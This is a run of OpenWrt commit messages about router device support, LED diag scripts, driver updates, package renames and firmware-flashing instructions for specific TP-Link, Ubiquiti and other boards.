[ 0.000000] Calgary: Unable to locate Rio Grande table in EBDA - bailing!
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Add a radio_config_id property. If the radio config changes return an error
upon receiving the reconf call.
Signed-off-by: John Crispin <john@phrozen.org>
For devices without a dedicated 'diag' LED, we use sometimes one of
other LEDs for indicating at least 'boot', 'failsafe' and 'upgrade'
stages. In some cases, at the same time these LEDs have defined default
triggers in DTS using 'linux,default-trigger' property. Current 'diag'
setup removes the trigger and turns off 'boot' LED after bootup.
One of the examples of such device is TP-Link TL-WR841N v14 (ramips)
which uses 'wlan' LED with defined 'linux,default-trigger' for 'diag':
aliases {
led-boot = &led_wlan;
led-failsafe = &led_wlan;
led-upgrade = &led_wlan;
};
[...]
led_wlan: wlan {
label = "tl-wr841n-v14:green:wlan";
gpios = <&gpio1 9 GPIO_ACTIVE_LOW>;
linux,default-trigger = "phy0tpt";
};
This patch extends 'diag.sh' and 'leds.sh' scripts to make sure default
trigger defined in DTS is restored for 'diag' LED which isn't used for
indicating 'running' stage.
Acked-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
c888e17e06 ("hostapd: manage instances via procd instead of pidfile")
added procd support for managing hostapd and wpa_supplicant daemons
but at the same time limited wiphy names to 'phy*'.
This brings back initial behaviour (introduced in 60fb4c92b6 ("hostapd:
add ubus reload") and makes procd manage daemons for any wiphy device
found in '/sys/class/ieee80211'.
CC: Felix Fietkau <nbd@nbd.name>
CC: Daniel Golle <daniel@makrotopia.org>
Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
License "GPL-2.0+" is deprecated License Identifier according to
SPDX License list [1]. The correct one is GPL-2.0-or-later.
While at it, also add the License file.
[1] https://spdx.org/licenses/
Signed-off-by: Josef Schlehofer <pepe.schlehofer@gmail.com>
The function trace_on_exit() is given to atexit() as a parameter, but
atexit() only takes a function pointer to a function with a void
parameter.
This problem was introduced when the on_exit() function was incompletely
replaced by atexit().
Fixes: ba6c8bd614 ("linux-atm: add portability fixes")
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
ath10k-ct supports the combination to select IBSS (ADHOC) mode and
different beacon intervals together. mac80211 does not like this
combination, but Ben says this is ok, so remove this check.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
When porting support from ar71xx to ath79, the reset-gpios option was
missed. Due to a hardware bug, this would eventually leave the devices
with RX-deaf Ethernet PHY.
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
Commit 9a1f441ac8 ("kirkwood: enable SoC drivers in the kernel config")
enabled I2C_MV64XXX in the kernel config, and the subsequent commit 0d5ba94088
("orion: enable SoC drivers in the kernel config") removed kmod-i2c-mv64xxx
package entirely. As the feature is now kernel built-in and the package does not
exist anymore, we can safely remove kmod-i2c-mv64xxx from DEVICE_PACKAGES.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Add indent and sort board_name alphabetically.
Sourcing /lib/functions.sh is already handled by /etc/rc.common. Drop the line.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
kmod-hwmon-lm* will not get into images unless kmod-hwmon-core is added to
DEVICE_PACKAGES as well.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
[only address kmod-hwmon-core in this commit]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The current device node name of ix2-200 is "iom_ix2_200", which results
in a SUPPORTED_DEVICES string "iom,ix2,200" that does not match the
compatible in DTS and the board name used in board.d.
Fix this by replacing the second underscore with a dash, following
vendor_model scheme.
Fixes: 27b2f0fc0f ("kirkwood: add support for Iomega Storcenter ix2-200")
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
[commit title/message rephrase]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Some newer bootloaders for the TP-Link TL-WA901ND put the ethernet PHY
in reset before loading the kernel, thus the LAN interface is not
working in OpenWrt.
Clear the reset to restore ethernet functionality.
Signed-off-by: David Bauer <mail@david-bauer.net>
As 07e1d88d7b ("kernel: avoid underscore in *6lowpan package names") shows,
underscores might cause build failures. Replace underscore with dash.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
As 07e1d88d7b ("kernel: avoid underscore in *6lowpan package names") shows,
underscores might cause build failures. Replace underscore with dash.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
All devices inherited from mt7628an_tplink_8m.dtsi and
mt7628an_tplink_8m-split-uboot.dtsi contain the same additional
includes in the DTS files.
Move them to the DTSI files instead.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
So far, the compatible for the Ubiquiti Edgerouter X has been
defined in the DTSI file and inherited for the edgerouterx.dts,
but overwritten for the edgerouterx-sfp.dts. In contrast, the
model was stored in the DTS file in both cases.
To resolve this somewhat confusing situation, move the compatible
with the device name for edgerouterx to the DTS file as well.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Many DTS files contain the same includes again that are already
present in the DTSI files they are derived from.
Remove those redundant includes in the DTS files. For vocore, the
include is moved to the parent DTSI file.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Many DTS files contain the same includes again that are already
present in the DTSI files they are derived from.
Remove those redundant includes in the DTS files.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The current version of ATF does not support power off for SGMII
COMPHY. Update to latest ATF to resolve this issue.
Signed-off-by: Scott Roberts <ttocsr@gmail.com>
The SUBDIRS variable has been removed in kernel 5.4, and was deprecated
since the beginnig of kernel git history in favour of M or KBUILD_EXTMOD.
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
Removed all upstream patches.
Added PKG_BUILD_PARALLEL for faster compilation.
Small Makefile rearrangements for consistency between packages.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Make it possible to activate some additional kernel debug options.
This can be used to debug some problems in kernel drivers.
Signed-off-by: Hauke Mehrtens <hauke.mehrtens@intel.com>
Reviewed-by: Alexandru Ardelean <ardeleanalex@gmail.com>
The kernel kernel address sanitizer is able to detect some memory
bugs in the kernel like out of range array accesses.
Signed-off-by: Hauke Mehrtens <hauke.mehrtens@intel.com>
Reviewed-by: Alexandru Ardelean <ardeleanalex@gmail.com>
The kernel Undefined Behavior Sanitizer is able to detect some memory
bugs in the kernel like out of range array accesses.
Signed-off-by: Hauke Mehrtens <hauke.mehrtens@intel.com>
Reviewed-by: Alexandru Ardelean <ardeleanalex@gmail.com>
This option has now a different dependency and can be activated, set a
default value.
Fixes: 20b5a4ca01 ("kernel: bump 4.19 to 4.19.101")
Signed-off-by: Hauke Mehrtens <hauke.mehrtens@intel.com>
Tested-by: Alexandru Ardelean <ardeleanalex@gmail.com>
This adds the direct dependencies introduced by TARGET_LDFLAGS
to the package's DEPENDS variable.
This was found by accidentally building rssileds on octeon, which
resulted in:
"Package rssileds is missing dependencies for the following libraries:
libnl-tiny.so"
Though the dependencies are provided when building for the
relevant targets ar71xx, ath79 and ramips, it seems more tidy to
specify them explicitly.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
So far, the state of status LEDs is set up in 01_leds for many devices
in kirkwood target. As those LEDs are also controlled by diag.sh,
exposing them to the user via uci config by default seems not helpful
and might even have confusing results for the user.
Thus, remove the ucidef_set_led_default setup for power/status LED, but
do not touch the rest where user control is actually a feature.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This adds the default-state = "on"; statement for the power or
primary status LED in DTS on kirkwood. This will ensure that this
LED will be lit up very early in the boot process (i.e. before
diag.sh is executed) and thus will provide an additional hint to the
user when problems arise during early boot process.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This commit removes the target-specific diag.sh script. This way, the
generic one is used for the target, which uses DT-aliases to specify the
LEDs used.
Generic diag.sh allow to use different LEDs to indicate different states.
Non-red status LEDs for indicating boot and a running system.
Where possible, the red or orange LEDs are used to indicate failsafe
mode and a running upgrade.
Compile-tested: all target devices.
Run-tested: CheckPoint L-50
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
[remove unrelated cosmetic changes, rename some labels, add pogo_e02]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Specification:
- 550/400/200 MHz (CPU/DDR/AHB)
- 128 MB of RAM (DDR2)
- 16 MB of FLASH (SPI NOR)
- 4x 10/100 Mbps Ethernet, with passive PoE support on LAN1
- 2T2R 2,4 GHz (AR9344)
- built-in 4G/3G module (example: Quectel EC-25EU)
- internal microSD slot (spi-mmc, buggy and disabled for now)
- RS232 on D-Sub9 port (Cypress ACM via USB, /dev/ttyACM0)
- RS422/RS485 (AR934x high speed UART, /dev/ttyATH1)
- analog 0-24V input (MCP3221)
- various digital inputs and outputs incl. a relay
- 11x LED (4 are driven by AR9344, 7 by 74HC595)
- 2x miniSIM slot (can be swapped via GPIO)
- 2x RP-SMA/F (Wi-Fi), 3x SMA/F (2x WWAN, GPS)
- 1x button (reset)
- DC jack for main power input (9-30 V)
- debugging UART available on PCB edge connector
Serial console (/dev/ttyS0) pinout:
- RX: pin1 (square) on top side of the main PCB (AR9344 is on top)
- TX: pin1 (square) on bottom side
Flash instruction:
Vendor firmware is based on OpenWrt CC release. Use the "factory" image
directly in GUI (make sure to uncheck "keep settings") or in U-Boot web
based recovery. To avoid any problems, make sure to first update vendor
firmware to latest version - "factory" image was successfully tested on
device running "RUT9XX_R_00.06.051" firmware and U-Boot "3.0.2".
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Add support for RS485 tranceiver with transmit/receive switch hooked
to a RTS GPIO pin.
Use the 'rts-gpios' and 'rs485-rts-active-low' properties as described
in devicetree/bindings/serial/rs485.yaml.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
This adds support for the various clones of the TL-WA830RE recently
supported in fb99ac6807 ("ath79: add support for TP-Link TL-WA830RE v1"):
- tplink,tl-wa701nd-v1
- tplink,tl-wa730re-v1
- tplink,tl-wa801nd-v1
- tplink,tl-wa830re-v1 (already supported)
- tplink,tl-wa901nd-v1
Since these devices are 100%-clones in ar71xx, this patch adds all
of them without run-testing (as this has been done for TL-WA830RE v1).
Specifications:
- SOC: Atheros AR7240
- CPU: 400MHz
- Flash: 4 MiB (Spansion S25FL032P)
- RAM: 32 MiB (Zentel A3S56D40FTP-G5)
- WLAN: Atheros AR9280 bgn 2x2
- Ethernet: 1 port (100M)
Flash instructions:
- install from u-boot with tftp (requires serial access)
> setenv ipaddr a.b.c.d
> setenv serverip e.f.g.h
> tftpboot 0x80000000 \
openwrt-ath79-tiny-tplink_tl-waxxxxx-v1-squashfs-factory.bin
> erase 0x9f020000 +0x3c0000
> cp.b 0x80000000 0x9f020000 0x3c0000
> bootm 0x9f020000
- flash factory image from OEM WebUI
- sysupgrade from ar71xx image
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Looking at the current upstream driver implementation, it seems like the
TX/RX flow control is enabled only if the flow control pause option is
resolved from the device/link partner advertisements (or otherwise set).
On the other hand, our current in-tree driver force enables TX/RX
flow control by default, thus possibly leading to TX timeouts if the
other end sends pause frames (which are not properly handled?):
WARNING: CPU: 3 PID: 0 at net/sched/sch_generic.c:320 dev_watchdog+0x1ac/0x324
NETDEV WATCHDOG: eth0 (mtk_soc_eth): transmit queue 0 timed out
Disabling the flow control on PORT 5 MAC seems to fix this issues as the
pause frames are then filtered out. While at it, I'm removing the if
condition completely as suggested, since this code is run only on mt7621
SoC, so there is no need to check for the silicon revisions.
Ref: https://lists.openwrt.org/pipermail/openwrt-devel/2017-November/009882.html
Ref: https://forum.openwrt.org/t/mtk-soc-eth-watchdog-timeout-after-r11573/50000/12
Suggested-by: Felix Fietkau <nbd@nbd.name>
Reported-by: Rosen Penev <rosenp@gmail.com>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
f4415afce213 mt76: mt76u: loop over all possible rx queues in mt76u_rx_tasklet
5b9f949cb760 mt76: mt76u: fix a possible memory leak in mt76u_init
fd892bc033fb mt76: mt76u: rely only on data buffer for usb control messagges
Signed-off-by: Felix Fietkau <nbd@nbd.name>
With the wrong blocksize, the rootfs was not positioned on the boundary
of a block, thus breaking the mtdsplit driver.
Signed-off-by: David Bauer <mail@david-bauer.net>
8d45443bb5c9 pppd: Ignore received EAP messages when not doing EAP
8d7970b8f3db pppd: Fix bounds check in EAP code
858976b1fc31 radius: Prevent buffer overflow in rc_mksid()
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Update util-linux to 2.35.1 and refresh patches.
Signed-off-by: Daniel Engberg <daniel.engberg.lists@pyret.net>
[commit subject and description tweaks]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This adds the label MAC address for the Ubiquiti Picostation M (XM).
This was overlooked when adding support in the previous patch.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This adds support for the Ubiquiti Picostation M (XM), which has the
same board/LEDs as the Bullet M XM, but different case and antennas.
Specifications:
- AR7241 SoC @ 400 MHz
- 32 MB RAM
- 8 MB SPI flash
- 1x 10/100 Mbps Ethernet, 24 Vdc PoE-in
- External antenna: 5 dBi (USA), 2 dBi (EU)
- POWER/LAN green LEDs
- 4x RSSI LEDs (red, orange, green, green)
- UART (115200 8N1) on PCB
Flashing via WebUI:
Upload the factory image via the stock firmware web UI.
Attention: airOS firmware versions >= 5.6 have a new bootloader with
an incompatible partition table!
Please downgrade to <= 5.5 _before_ flashing OpenWrt!
Refer to the device's Wiki page for further information.
Flashing via TFTP:
Same procedure as other NanoStation M boards.
- Use a pointy tool (e.g., pen cap, paper clip) and keep the reset
button on the device or on the PoE supply pressed
- Power on the device via PoE (keep reset button pressed)
- Keep pressing until LEDs flash alternatively LED1+LED3 =>
LED2+LED4 => LED1+LED3, etc.
- Release reset button
- The device starts a TFTP server at 192.168.1.20
- Set a static IP on the computer (e.g., 192.168.1.21/24)
- Upload via tftp the factory image:
$ tftp 192.168.1.20
tftp> bin
tftp> trace
tftp> put openwrt-ath79-generic-xxxxx-ubnt_picostation-m-squashfs-factory.bin
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This adds support for the Ubiquiti Nanostation Loco M (XM), which
has the same board/LEDs as the Bullet M XM, but different case and
antennas.
Specifications:
- AR7241 SoC @ 400 MHz
- 32 MB RAM
- 8 MB SPI flash
- 1x 10/100 Mbps Ethernet, 24 Vdc PoE-in
- NS Loco M2: built-in antenna: 8 dBi; AR9287
- NS Loco M5: built-in antenna: 13 dBi; 2T2R 5 GHz radio
- POWER/LAN green LEDs
- 4x RSSI LEDs (red, orange, green, green)
- UART (115200 8N1) on PCB
Flashing via WebUI:
Upload the factory image via the stock firmware web UI.
Note that only certain firmware versions accept unsigned
images. Refer to the device's Wiki page for further information.
Flashing via TFTP:
Same procedure as other NanoStation M boards.
- Use a pointy tool (e.g., pen cap, paper clip) and keep the reset
button on the device or on the PoE supply pressed
- Power on the device via PoE (keep reset button pressed)
- Keep pressing until LEDs flash alternatively LED1+LED3 =>
LED2+LED4 => LED1+LED3, etc.
- Release reset button
- The device starts a TFTP server at 192.168.1.20
- Set a static IP on the computer (e.g., 192.168.1.21/24)
- Upload via tftp the factory image:
$ tftp 192.168.1.20
tftp> bin
tftp> trace
tftp> put openwrt-ath79-generic-xxxxx-ubnt_nanostation-loco-m-squashfs-factory.bin
Tested on NanoStation Loco M2.
Signed-off-by: Sven Roederer <freifunk@it-solutions.geroedel.de>
Co-developed-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Several devices with tplink-safeloader contain default values (0x0)
for TPLINK_HWID and TPLINK_HWREV in their device definitions.
Move those to common tplink-safeloader definition so they do not
have to be repeated each time.
While at it, set default value for tplink-v1 and tplink-v2 as well.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
bd0df1b017a8 mt76: avoid extra RCU synchronization on station removal
d5a5e97b67c7 mt76: mt76x2: avoid starting the MAC too early
a67e42990d8a mt76: mt7615: fix msdu_id endianness in mt7615_write_hw_txp
d3af8bd3c722 mt76: mt7615: set proper length in strncmp
9c43417db17c mt76: mt7615: fix max_nss in mt7615_eeprom_parse_hw_cap
764e1d208a06 mt76: mt7615: fix tx power reporting
1881241c7ee5 mt76: fix rounding issues on converting per-chain and combined txpower
fa14e7f33199 mt76: mt7615: rework rx phy index handling
a205ce3e3e2d mt76: mt7615: fix ext_phy flag for stations
457a93203690 mt76: mt7615: fix MT_TX_HW_QUEUE_EXT_PHY to deal with mac80211 changes
c75cf513c674 mt76: do not set HOST_BROADCAST_PS_BUFFERING for mt7615
cc56c400167c mt76: fix LED link time failure
4dbd56b86970 mt76: mt76x0u: add support to TP-Link T2UHP
e226309c4bc4 mt76: mt7615: rely on mt76_queues_read for mt7622
c6a025318075 mt76: mt76u: extend RX scatter gather number
dfc24bc504e3 mt76: mt76u: rename stat_wq in wq
2bbffd2cb37b mt76: mt7615: remove rx_mask in mt7615_eeprom_parse_hw_cap
f408a2b7566c mt76: Introduce mt76_mcu data structure
17ecf0762542 mt76: mt76x02: fix handling MCU timeouts during hw restart
284e9fd72912 mt76: mt7615: fix monitor injection of beacon frames
8f8e9161b355 mt76: fix array overflow on receiving too many fragments for a packet
Signed-off-by: Felix Fietkau <nbd@nbd.name>
Packages kmod-bluetooth_6lowpan and kmod-ieee802154_6lowpan contain an
underscore in the package name. This causes problems in package/install
because when building a list of package files to install offline using
opkg, it uses a wildcard of the form $(dir)/$(pkg)_*.ipk.
If you were to select kmod-bluetooth=y, but kmod-bluetooth_6lowpan=m,
the latter would be picked up by that wildcard, and make package/install
would fail:
Collected errors:
* satisfy_dependencies_for: Cannot satisfy the following dependencies
* for kmod-bluetooth_6lowpan:
* kmod-6lowpan
* opkg_install_cmd: Cannot install package kmod-bluetooth_6lowpan.
Changing the wildcard pattern is not trivial, and there may be other
places in the build system making this assumption about the package name
format.
Using a dash in place of the underscore avoids the issue.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
A file, package/network/services/dnsmasq/files/50-dnsmasq-migrate-resolv-conf-auto.sh,
was added in commit 6a28552120, but it
does not exit in a way that tells the uci-defaults mechanism that it
succeeded, and so it is not cleaned up after running successfully. Add
an exit 0 to the end to correct that.
Signed-off-by: Russell Senior <russell@personaltelco.net>
Update bison to 3.5.1
Use POSIX threads as the previous option is no longer valid
Disable NLS support to be consistent with other tools such as e2fsprogs and sed
Signed-off-by: Daniel Engberg <daniel.engberg.lists@pyret.net>
This adds a pinmux to the shared DTSI for TP-Link TL-WR841N/ND v8,
TL-WR842N v2 and TL-MR3420 v2. It is supposed to be the equivalent
of:
/* config gpio4 as normal gpio function */
ath79_gpio_output_select(TL_MR3420V2_GPIO_USB_POWER,AR934X_GPIO_OUT_GPIO);
This allows to enable USB power on these devices.
While at it, move the jtag_disable_pins to &gpio node and remove the
redundant status=okay there.
Tested on TP-Link TL-WR842N v2.
Fixes: FS#2753
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Tested-by: Armin Fuerst <armin@fuerst.priv.at>
Mikrotik devices will be found in both generic and nand subtargets.
The file mikrotik-caldata.sh, currently used in generic, contains
a few lines of code that would need to be duplicated for nand
support. Instead of duplicating it, move it to target base-files,
as size impact is small and the maintenance gain should outweigh it.
This is changed separately to make life easier for the people
currently working on Mikrotik NAND support.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Hardware
--------
SoC: Atheros AR7161
RAM: Samsung K4H511638D-UCCC
2x 64M DDR1
SPI: Micron M25P128 (16M)
WiFi: Atheros AR9160 bgn
Atheros AR9160 an
ETH: Broadcom BCM5481
LED: Power (Green/Red)
ETH (Green / Blue / Yellow)
(PHY-controlled)
WiFi 5 (Green / Blue)
WiFi 2 (Green / Blue)
BTN: Reset
Serial: Cisco-Style RJ45 - 115200 8N1
Installation
------------
1. Download the OpenWrt initramfs-image. Place it into a TFTP server
root directory and rename it to 1401A8C0.img. Configure the TFTP
server to listen at 192.168.1.66/24.
2. Connect the TFTP server to the access point.
3. Connect to the serial console of the access point. Attach power and
interrupt the boot procedure when prompted (bootdelay is 1 second).
4. Configure the U-Boot environment for booting OpenWrt from Ram and
flash:
$ setenv boot_openwrt 'setenv bootargs; bootm 0xbf080000'
$ setenv ramboot_openwrt 'setenv serverip 192.168.1.66;
tftpboot; bootm'
$ saveenv
5. Load OpenWrt into memory:
$ run ramboot_openwrt
Wait for the image to boot.
6. Transfer the OpenWrt sysupgrade image to the device. Write the image
to flash using sysupgrade:
$ sysupgrade -n /path/to/openwrt-sysuograde.bin
Signed-off-by: David Bauer <mail@david-bauer.net>
The Siemens WS-AP3610 asserts reset to the ethernet PHY with the
reset-register. Backport the necessary patches to de-assert reset
when probing the PHY.
These patches can be dropped when using kernel 5.4.
Signed-off-by: David Bauer <mail@david-bauer.net>
* send: cleanup skb padding calculation
* socket: remove useless synchronize_net
Sorry for the back-to-back releases. This fixes a regression spotted by Eric
Dumazet.
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
This change makes the names of Broadcom targets consistent by using
the common notation based on SoC/CPU ID (which is used internally
anyway), bcmXXXX instead of brcmXXXX.
This is even used for target TITLE in make menuconfig already,
only the short target name used brcm so far.
Despite, since subtargets range from bcm2708 to bcm2711, it seems
appropriate to use bcm27xx instead of bcm2708 (again, as already done
for BOARDNAME).
This also renames the packages brcm2708-userland and brcm2708-gpu-fw.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Acked-by: Álvaro Fernández Rojas <noltari@gmail.com>
This change makes the names of Broadcom targets consistent by using
the common notation based on SoC/CPU ID (which is used internally
anyway), bcmXXXX instead of brcmXXXX.
This is even used for target TITLE in make menuconfig already,
only the short target name used brcm so far.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This change makes the names of Broadcom targets consistent by using
the common notation based on SoC/CPU ID (which is used internally
anyway), bcmXXXX instead of brcmXXXX.
This is even used for target TITLE in make menuconfig already,
only the short target name used brcm so far.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Some targets like kirkwood or omap don't use a subtarget which results
in a malformed JSON info file.
Instead of having a valid value like `"target": "ath79/tiny"` for these
targets the value is `"target": "kirkwood/"`.
This patch uses the same if condition to use `generic` if the subtarget
is empty.
Tested for the kirkwood target.
Signed-off-by: Paul Spooren <mail@aparcar.org>
This supports better per-chain noise floor reporting, which in turn allows for
better RSSI reporting in the driver.
Wave-2 fixes a long-standing rate-ctrl problem when connected to xbox (and probably other devices).
Wave-2 has fix for crash likely related to rekeying.
Wave-1 has some debugging code added where a user reported a crash.
Tested-by: Stefan Lippers-Hollmann <s.l-h@gmx.de> [ipq806x+qca9984,ipq4019+qca9986]
Signed-off-by: Michael Yartys <michael.yartys@protonmail.com>
Changes:
ath10k-ct: Support better RSSI measurements.
When used with recent firmware, these changes allow the driver to
query per-chain noise-floor from the radio to better calculate the
per-chain RSSI. The per-chain RSSI is then summed to provide the
'combined RSSI'. This gives better per-chain RSSI as well as combined
RSSI, especially when running with more than 20Mhz bandwidths.
Refresh patches.
Tested-by: Stefan Lippers-Hollmann <s.l-h@gmx.de> [ipq806x+qca9984,ipq4019+qca9986]
Signed-off-by: Michael Yartys <michael.yartys@protonmail.com>
This backports SATA performance boost from 5.3 kernel:
Increasing the SATA/AHCI DMA TX/RX FIFOs (P0DMACR.TXTS and .RXTS, ie.
TX_TRANSACTION_SIZE and RX_TRANSACTION_SIZE) from default 0x0 each to
0x3 each, gives a write performance boost of 120 MiB/s to 132 MiB/s from
lame 36 MiB/s to 45 MiB/s previously. Read performance is above 200
MiB/s. [tested on SSD using dd bs=4K/8K/12K/16K/20K/24K/32K: peak-perf
at 12K]
dd bs Before MB/s After MB/s Increase
4k 14.4 16.5 15%
64k 34.5 74.4 116%
1M 40.5 93.2 130%
Ref: https://forum.openwrt.org/t/sunxi-sata-write-speed-patch/54555/5
Signed-off-by: Aleksander Jan Bajkowski <A.Bajkowski@stud.elka.pw.edu.pl>
[commit subject & description tweaks]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
The TL-WR940N v6 is similar to v3/v4, it just has different
LEDs and MAC address assignment.
Specification:
- 750 MHz CPU
- 32 MB of RAM
- 4 MB of FLASH
- 2.4 GHz WiFi
- 4x 10/100 Mbps Ethernet
The use of LEDs is based on ar71xx, so blue LED is used for WAN
and orange LED for diag (boot/failsafe/etc.).
Flash instruction (WebUI):
Download *-factory.bin image and upload it via the firmwary upgrade
function of the stock firmware WebUI.
Flash instruction (TFTP):
1. Set PC to fixed ip address 192.168.0.66
2. Download *-factory.bin image and rename it to
wr940nv6_tp_recovery.bin
3. Start a tftp server with the image file in its root directory
4. Turn off the router
5. Press and hold Reset button
6. Turn on router with the reset button pressed and wait ~15 seconds
7. Release the reset button and after a short time
the firmware should be transferred from the tftp server
8. Wait ~30 second to complete recovery.
Thanks to Manuel Kock for reviewing and testing this patch.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Tested-by: Manuel Kock <github.web@manu.li>
This adds the ar71xx board name to the SUPPORTED_DEVICES on ath79,
so forceless sysupgrade on this device becomes possible.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Since kernel 5.2 within netlink messages the NLA_F_NESTED nested flag is
validated. But swconfig/swlib doesn't set the flag for
SWITCH_ATTR_OP_VALUE_PORTS related netlink messages and assigning ports
to vlans via
swconfig dev switch0 vlan 1 set ports '0 1 2 3 4 6t'
Errors put with "Failed to set attribute: Invalid input data or
parameter".
Relax the validation rules and use the deprecated functions, to use the
same level of validation as it was till kernel 5.1. Depending on who has
swconfig related netlink messages implemented, there might be more
broken tools out there and we should keep backward compatibility if
possible.
Signed-off-by: Mathias Kresin <dev@kresin.me>
Tested-by: Rafał Miłecki <rafal@milecki.pl>
Make run_parsers_by_type() more similar to the parse_mtd_partitions():
1. Use struct mtd_partitions
2. Use add_mtd_partitions()
This change simplifies run_parsers_by_type() by:
1. Dropping loop
2. Dropping code getting partition properties (name, offset, size)
Moreover this change allows passing more partitions details (e.g.
mask_flags).
One noticeable change introduced by this patch is adding parsed
partitions as children. This results in printing their *relative*
offsets which unifies this code with parse_mtd_partitions() behaviour.
Before:
[ 1.785448] 0x00000018f800-0x000000fb0000 : "rootfs"
[ 1.791642] mtd: device 4 (rootfs) set to be root filesystem
[ 1.797537] 1 squashfs-split partitions found on MTD device rootfs
[ 1.804009] 0x0000004e0000-0x000000fb0000 : "rootfs_data"
After:
[ 1.785376] 0x00000018f800-0x000000fb0000 : "rootfs"
[ 1.791601] mtd: device 4 (rootfs) set to be root filesystem
[ 1.797491] 1 squashfs-split partitions found on MTD device rootfs
[ 1.803936] Creating 1 MTD partitions on "rootfs":
[ 1.808910] 0x000000350800-0x000000e20800 : "rootfs_data"
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
Stock firmware has a vendor-defined tail at the end of uImage for image
validation. This patch enables OpenWrt installation from stock firmware
without having to access the UART console.
Installation via web interface:
1. Flash **initramfs** image through the stock web interface.
2. Boot into OpenWrt and perform sysupgrade with sysupgrade image.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
This ports support for the TL-WA830RE v1 range extender from ar71xx to
ath79.
Specifications:
- SOC: Atheros AR7240
- CPU: 400MHz
- Flash: 4 MiB (Spansion S25FL032P)
- RAM: 32 MiB (Zentel A3S56D40FTP-G5)
- WLAN: Atheros AR9280 bgn 2x2
- Ethernet: 1 port (100M)
Flash instructions:
- install from u-boot with tftp (requires serial access)
> setenv ipaddr a.b.c.d
> setenv serverip e.f.g.h
> tftpboot 0x80000000 \
openwrt-ath79-tiny-tplink_tl-wa830re-v1-squashfs-factory.bin
> erase 0x9f020000 +0x3c0000
> cp.b 0x80000000 0x9f020000 0x3c0000
> bootm 0x9f020000
- flash factory image from OEM WebUI
- sysupgrade from ar71xx image
The device seems to be a clone of the following devices not yet
added to ath79:
- tl-wa701nd-v1
- tl-wa730re-v1
- tl-wa801nd-v1
- tl-wa901nd-v1
Signed-off-by: Christian Buschau <christian.buschau@mailbox.org>
[make use of ar7240_tplink.dtsi, add note about clones]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The current set of TP-Link devices with ar7240 SoC all share
the same DTSI file. As the latter is very similar to the
definition required for the to-be-supported TP-Link TL-WA devices
with ar7240, this patch splits the definitions into a shared part
for all TP-Link devices (ar7240_tplink.dtsi) and a file containing
the specific setup for the present TL-WR devices
(ar7240_tplink_tl-wr.dtsi), equivalent to the former
ar7240_tplink_tl-wr74xn-v1.dtsi.
While at it, remove unused firmware partition label and rename
pinmux_switch_led_pins.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
If bootloader doesn't terminate its last spi operation properly
before starting kernel, our first transfer in kernel becomes a
continuous transfer to that request instead of a new one.
Fix this flaw by restoring IOC register, which restored all pin
state to default.
Fixes: ebf0d8dade ("ath79: add new ar934x spi driver")
Reported-by: Russell Senior <russell@personaltelco.net>
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
* wg-quick: android: split uids into multiple commands
Newer android's ndc implementations have limits on uid size, so we have to
break these into several lists.
* man: document dynamic debug trick for Linux
This comes up occasionally, so it may be useful to mention its
possibility in the man page. At least the Arch Linux and Ubuntu kernels
support dynamic debugging, so this advice will at least help somebody. So that
you don't have to go digging into the commit, this adds this helpful tidbit
to the man page for getting debug logs on Linux:
# modprobe wireguard && echo module wireguard +p > /sys/kernel/debug/dynamic_debug/control
* extract-{handshakes,keys}: rework for upstream kernel
These tools will now use the source code from the running kernel instead of
from the old monolithic repo. Essential for the functioning of Wireshark.
